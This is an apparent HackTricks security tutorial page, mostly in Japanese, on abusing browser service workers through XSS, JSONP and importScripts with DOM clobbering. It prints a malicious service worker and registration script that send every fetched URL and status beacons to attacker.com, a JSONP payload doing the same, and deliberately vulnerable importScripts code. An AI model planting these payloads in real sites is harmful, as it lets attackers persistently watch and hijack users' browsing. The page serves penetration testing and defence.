Abusing Service Workers

HackTricksをサポートする

基本情報

サービスワーカーは、ブラウザによってバックグラウンドで実行されるスクリプトで、任意のウェブページとは別に動作し、ウェブページやユーザーの操作を必要としない機能を有効にし、オフラインおよびバックグラウンド処理の能力を向上させます。サービスワーカーに関する詳細情報はこちらで確認できます。脆弱なウェブドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページに対する被害者の操作を制御することができます。

既存のサービスワーカーの確認

既存のサービスワーカーは、開発者ツールアプリケーションタブのサービスワーカーセクションで確認できます。別の方法として、chrome://serviceworker-internalsを訪れることで、より詳細なビューを得ることができます。

プッシュ通知

プッシュ通知の権限は、サービスワーカーが直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。権限が拒否されると、サービスワーカーが継続的な脅威をもたらす可能性が制限されます。逆に、権限を付与すると、潜在的なエクスプロイトの受信と実行を可能にすることでセキュリティリスクが増加します。

サービスワーカーを作成する攻撃

この脆弱性を悪用するには、次のものを見つける必要があります:

  • サーバーに任意のJSファイルをアップロードする方法と、アップロードしたJSファイルのサービスワーカーを読み込むためのXSS

  • 出力を操作できる(任意のJSコードを使用)脆弱なJSONPリクエストと、ペイロードを持つJSONPを読み込むためのXSSが必要です。これにより、悪意のあるサービスワーカーを読み込むことができます。

次の例では、fetchイベントをリッスンし、攻撃者のサーバーに各取得URLを送信する新しいサービスワーカーを登録するためのコードを示します(これはサーバーアップロードするか、脆弱なJSONPレスポンスを介して読み込む必要があるコードです):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

そして、これはワーカーを登録するためのコードです(XSSを悪用して実行できるはずのコードです)。この場合、攻撃者のサーバーに登録が成功したかどうかを通知するためのGETリクエストが送信されます:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

JSONPエンドポイントの脆弱性を悪用する場合は、値を var sw の中に入れる必要があります。例えば:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing importScripts in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

This even bypasses CSP protections.

Example vulnerable code:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOMクラッキングを使用して

DOMクラッキングが何であるかの詳細については、次を確認してください:

Dom Clobbering

SWが**importScriptsを呼び出すために使用しているURL/ドメインがHTML要素内にある場合**、それをDOMクラッキングを介して変更することが可能であり、SWが自分のドメインからスクリプトを読み込むようにできます。

この例については、参照リンクを確認してください。

参考文献

HackTricksをサポートする

Last updated